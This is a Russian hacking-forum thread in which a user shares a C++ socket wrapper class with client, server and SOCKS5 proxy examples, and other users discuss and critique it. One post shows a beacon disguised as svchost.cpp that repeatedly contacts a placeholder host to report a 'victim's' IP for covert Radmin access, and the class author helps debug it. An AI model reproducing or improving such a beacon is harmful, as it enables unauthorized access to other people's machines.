Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Класс для работы с сокетами на С++ (https://forum.antichat.xyz/showthread.php?t=27529)

_Great_ 19.11.2006 00:01

Класс для работы с сокетами на С++
 
Вложений: 2
Написал недавно удобный класс Socket для работы с сокетами.
Класс содержит следующие методы:

Socket(bool create=1, int type=SOCK_STREAM, int protocol=IPPROTO_TCP)
Конструктор класса Socket. Флаг create указывает на необходимость создания сокета в конструкторе.
По умолчанию принимается тип SOCK_STREAM и протокол IPPROTO_TCP (TCP/IP)

Socket(SOCKET)
создание объекта на основе уже созданного сокета

Socket(Socket&)
конструктор копии

~Socket()
деструктор

int create(int type=SOCK_STREAM, int protocol=IPPROTO_TCP)
создает сокет указанного типа и протокола


int set_buffer_size(int size)
установка размера входного буфера. возвращает старое значение

int get_buffer_size()
получение размера входного буфера

bool set_terminate_flag(bool value)
установка флага, при котором будет записываться 0 в конец буфера при получении данных. возвращает старое значение

bool get_terminate_flag()
получение флага записи 0

int get_last_length()
получение длины последнего полученного блока данных

static char* getlasterror()
возвратить текстовое описание ошибки. утечки памяти не происходит, т.к. место зарезервировано в сегменте данных

int bind(int port, int addr=INADDR_ANY)
биндит сокет к порту и указанному адресу.
эта и все остальные сокетные функции возвращает -1 при ошибке и 0, если все нормально

int connect(char* host_name, int port)
соединяется с указанном хостом и портом. Можно передать доменное имя

int connect_to(sockaddr_in* sa)
соединяется согласно параметрам, указанным в заполненной структуре SOCKADDR_IN

int close()
закрывает сокет

int listen(int backlog=5)
переводит сокет в прослушивающий режим

Socket* accept(sockaddr_in* from=0)
ждет входящего соединения. Можно передать адрес sockaddr_in, куда будет записан адрес удаленного компьютера. Возвращает новый объект Socket, который нужно будет удалить оператором delete.

char* recv(char* buffer, int buflen=0)
получает данные из сокета. Если передать 0 вместо длины буфера, будет использоваться дефолтное значение

unsigned char* recv(unsigned char* buffer, int buflen=0)
перегруженный аналог предыдущей функции для типа unsigned char*

char* recv()
получение данных с автовыделением памяти. Она должна будет удалена вызовом delete.

int send(char* buffer, int buflen=0)
и int send(unsigned char* buffer, int buflen=0)
отправка данных в сокет. Если указать длину 0, то длина будет вычислена с помощью strlen() (до первого нулевого байта)

Резолвинг доменных имен:
static char* nslookup(char* host_name)
и static DWORD nslookup_raw(char* host_name)
возвращают IP-адрес, соответствующий домену, соответственно в строковом и числовом форматах.

Поддержка потокового ввода-вывода для строк
Socket& operator<<(char* string)
и Socket& operator>>(char* buffer)

Пример клиентской программы:
Код:

        Socket sock;
        sock.connect("mail.ru", 80);
        sock<<"GET http://mail.ru/ HTTP/1.0\r\n\r\n";

        char buf[1024];
        sock.set_buffer_size(sizeof(buf));
        sock>>buf;
        MessageBox(0, buf, "mail.ru", 0);
        sock.close();

Пример серверной программы (с проверкой на ошибки):
Код:

        Socket serv;
        if(serv.bind(8080)==-1)
                return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND);
        if(serv.listen()==-1)
                return MessageBox(0, serv.getlasterror(), "Unable to bind socket", MB_ICONHAND);
        Socket *remote = serv.accept();
        if(!remote)
                return MessageBox(0, serv.getlasterror(), "Unable to accept connection", MB_ICONHAND);
        char buf[1024];
        remote->set_buffer_size(sizeof(buf));
        (*remote)>>buf;
        (*remote)<<"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Socket class demo application</h1>Hello, World!";
        remote->close();
        serv.close();
        delete remote;

        MessageBox(0, buf, "Remote", 0);

Пример наследования - класс Socks для работы с SOCKS-прокси:
Код:

class Socks: public Socket
{
public:
        int connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port);
};

// Connect to SOCKS
int Socks::connect(char* proxy_host, int proxy_port, char* dest_host, int dest_port)
{
        set_terminate_flag(0);
        if(Socket::connect(proxy_host, proxy_port)==-1)
                return -1;
       
        unsigned char packet[1024];
        int bytes=0;

        memcpy(packet, "\x05\x01\x00", 3);
        send(packet, 3);
        recv(packet, sizeof(packet));
        bytes = get_last_length();

        if(*(WORD*)packet != 0x0005)
        {
                close();
                return -1;
        }

        DWORD ip = nslookup_raw(dest_host);
        if(!ip)
        {
                close();
                return -1;
        }

        packet[0] = 5; // VERSION: 5
        packet[1] = 1; // METHOD: CONNECT
        packet[2] = 0; // RSV: 0
        packet[3] = 1; // ADTYPE: IPv4
        *(DWORD*)&(packet[4]) = ip;
        *(WORD*)&(packet[8])  = htons(dest_port);

        send(packet, 10);
        recv(packet, sizeof(packet));
        bytes = get_last_length();

        if(bytes!=10 || packet[1])
        {
                close();
                return -1;
        }

        set_terminate_flag(1);
       
        return 0;
}

После вызова connect можно читать и писать в сокет как обычно

Скачать:
socket.h (2 Kb)
socket.cpp (6 Kb)

W!z@rD 19.11.2006 15:48

_Great_ - а на паскаль переведешь?

_Great_ 19.11.2006 15:50

На паскальные классы?
Можно попробовать

nc.STRIEM 19.11.2006 21:26

слушай ток я чет не пойму get_buffer_size() это "получение размера входного буфера" тобеш ответ сервера?? почему тогла всегда выдает 1024 !
и recv() тоже берет ток 1024 символа, а не весь ответ!
или я чет не разобрался..

_Great_ 19.11.2006 21:38

Если recv() не передать длину буфера или юзать конструкцию sock>>buffer, то из сокета прочтется количество байт, равное дефолтной длине буфера (по умолчанию 1024). Это значение меняется функцией set_buffer_size().
А получение реального размера - get_last_length().

пример:
Код:

char buffer[512];
sock.set_buffer_size(sizeof(buffer));

sock<<"GET http://mail.ru/\r\n\r\n";
sock>>buffer;

прочтет 512 байт во время выполнения sock>>buffer, т.к. это значение было установлено

nc.STRIEM 19.11.2006 23:02

НУ эт я уже понял! а есле я не знаю длину ответа?? тогда как??

_Great_ 19.11.2006 23:07

В смысле? :)
Код:

char buf[512]; // создаем буфер
sock.set_buffer_size(512); // задаем размер

do
{
  sock>>buf;
  // парсим
}
while(sock.get_last_length()>0);

sock.close();

примерно так выглядит цикл чтения из сокета.

W!z@rD 20.11.2006 23:11

/me думает: "а если сам перепишу, сколько багов будет??!"
;)

nc.STRIEM 21.11.2006 01:04

Цитата:

Сообщение от _Great_
В смысле? :)
Код:

char buf[512]; // создаем буфер
sock.set_buffer_size(512); // задаем размер

do
{
  sock>>buf;
  // парсим
}
while(sock.get_last_length()>0);

sock.close();

примерно так выглядит цикл чтения из сокета.

Все уже разобрался! спасиб!

m17 13.12.2006 00:40

возник вопрос, как определит наличие работающего сетевого подключения к интернету? или открыть сокет и попытаться что-то прочитать и есть самый простой вариант? как отловить момент когда юзер подключиться?

Код:

// file: svchost.cpp
#include "stdafx.h"
#include "socket.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR    lpCmdLine,
                    int      nCmdShow)
{
        char buf[32];

        while (true)
        {
                Socket sock;
               
                sock.connect("my.ip.add.ress", 177);
                sock << "GET http://my.ip.add.ress/ HTTP/1.0\r\n\r\n";
               
                sock.set_buffer_size(sizeof(buf));
                sock >> buf;
                sock.close();

                Sleep(25000);
        }

        return 0;
}

вот такой исходник. использую чтобы при коннекте момедного юзера с моим radmin'ом мне сразу пришел его IP (у меня запущен сервер с помощью того же класса, пишет в лог и MessageBox кидает при попытке коннекта). так вот боюсь перегрузить систему жертвы, не нужно чтоб лишнюю оперативу жрало и вообще процессор занимало...
да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...

v@no 15.12.2006 23:57

Цитата:

Сообщение от W!z@rD
_Great_ - а на паскаль переведешь?

а сокеты везде одни и теже просто убираем класс меняем заголовки функций потом все переменные переносим в раздел описания переменных и готово =) у нас модуль работы с сокетами для паскалеподобных

_Great_ 16.12.2006 00:39

Цитата:

да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...
потому что в конце цикла вызов sock.close() намертво его убивает.

а так в цикле на каждой итерации каждый раз вызывается конструктор класса.
когда вытащишь - конструктор вызывается один раз перед циклом.
выход из ситуации - вытащить из цикла Socket sock и пихнуть в цикл перед connect вызов socket.create() для создания нового сокета.

v@no, вот и перепеши на дельфи, если тебе не в лом :)

nerezus 16.12.2006 11:15

Цитата:

v@no, вот и перепеши на дельфи, если тебе не в лом
На делфях уже есть, причем стандартным компонентом ;)

v@no 16.12.2006 12:38

Цитата:

Сообщение от nerezus
На делфях уже есть, причем стандартным компонентом ;)

это да называется ClientSocket , ServerSocket на вкладке Internet

v@no 16.12.2006 12:41

Цитата:

Сообщение от _Great_
v@no, вот и перепеши на дельфи, если тебе не в лом :)

легче самому написать с нуля =), для тех кто хочет с сокетами винапи поработать на делфи или паскале есть замечательная книга "Делфи в шутку и серьез или Что умеют хакеры" от автора книги "С++ глазаси хакера" там все что касается работы в сети достаточно хорошо написано

_Great_ 16.12.2006 16:06

От Флёнова? фуууууууууууууууууууууу.=\\ \\\\\\\\
Я читал его книжки, пару штук. Я не знаю, чем он накуривался, но там таакой бред...
Помнится, мы с тохой и с бр читали его книжку какую-то в магазине и ржали )

Кстати, че вас на дельфи понесло)
Я писал для С++.

iron 04.01.2007 21:23

_Great_
неплохо неплохо понравился мне твой клас.
Анекоторые книжки Флёнова могут помочь новичкам.
но их лучше параллельно читать с какой нибудь другой книженцией т.к там действительно бывает бред.

_Great_ 04.01.2007 21:30

Цитата:

Анекоторые книжки Флёнова могут помочь новичкам.
книжки фленова я читаю как сборник анекдотов )
такое увидишь только там :)

[NiGHT]DarkAngel 21.06.2007 23:15

А можно куда-нибудь еще раз пожалуйста перезалить фаилы socket.h и socket.cpp или выслать на мыло mister.zavulon@kpost.ru. Зарание благодарен.

nerezus 21.06.2007 23:21

Цитата:

Анекоторые книжки Флёнова могут помочь новичкам.
Неа. Этот мудак пишет про то, в чем АБСОЛЮТНО не шарит.
Видел я его книгу по пхп - жуть =\

Great: Да вы, батенька, археолог оО

_Great_ 21.06.2007 23:21

Обновил ссылки + приаттачил к посту

scrat 21.06.2007 23:40

грейт спс за такой хороший класс! пойду напишу на нём сплойт)

_Great_ 22.06.2007 00:14

Я еще там слегка полиморфизм прикрутил, но сорсы залил старые, перезаливать влом.. Чтобы можно было одинаково юзать функции и класса Socks и класса Socket.. парочка чисто виртуальных функций и все такое... вообщем надо тот сам дореализует, если ооочень надо будет - это можно будет найти в исходниках AntichatWebTool, релиз которой через некоторое время состоится.

sni4ok 22.06.2007 00:19

Цитата:

Сообщение от _Great_
Написал недавно удобный класс Socket для работы с сокетами.

ужос нах, коды ошибок вместо исключений, 2 экземпляра класса в разных потоках приведут к рэйскондишинам из-за глобальных переменных,
не говоря уже про то, что код бонально не удовлетворяет базовой гарантии.
з.ы и вообще юзай asio.sourceforge.net

_Great_ 22.06.2007 00:23

Ну.. многопоточность была не оч нужна. Коды ошибок, исключения - а разница то?
Цитата:

з.ы и вообще юзай asio.sourceforge.net
Глянем, как время будет

Namelles One 08.12.2008 14:38

Нет, ну а мало ли...

Впрочем, конечно, под Винду такие вещи актуальнее на С или на C# .NET, а то, что сотворил Грейт (кстати клевая штука именно в плане кода) - смотрелось бы идеологическо гораздо более верно под Никсы.

P.S. И, кстати да, это явление относится именно к велосипеду, который изобретать не стоит - ибо в boost.asio все уже украдено до нас.

taria 30.01.2009 04:53

выпадает ошибка, хотя Preprocessor Definitions: WIN32;_DEBUG;_CONSOLE;_UNICODE;UNICODE

или проблема не в этом?

socket.cpp(278) : error C2664: 'FormatMessageW' : cannot convert parameter 5 from 'char [256]' to 'LPWSTR'

taria 30.01.2009 05:04

то _Great_ видела ты написал что еще модифицировал, не мог бы выложить ? или скинь пожалуйста на taria88@mail.ru

kusanagi 06.09.2009 16:12

подскажите а на net есть переведенный класс?

scrat 06.09.2009 21:53

Цитата:

Сообщение от kusanagi
подскажите а на net есть переведенный класс?

а зачем тебе в дотнете сокеты?

_Great_ 10.09.2009 08:07

kusanagi
Эээ в дотнете же встроенные есть.

.ATK 10.09.2009 10:29

Цитата:

Сообщение от _Great_
kusanagi
Эээ в дотнете же встроенные есть.

Нету, вроде как бе :(

n4e/\@ 10.09.2009 10:51

Цитата:

Сообщение от .ATK
Нету, вроде как бе :(

А это разве не он?
http://msdn.microsoft.com/ru-ru/library/system.net.sockets.socket.aspx


Время: 02:54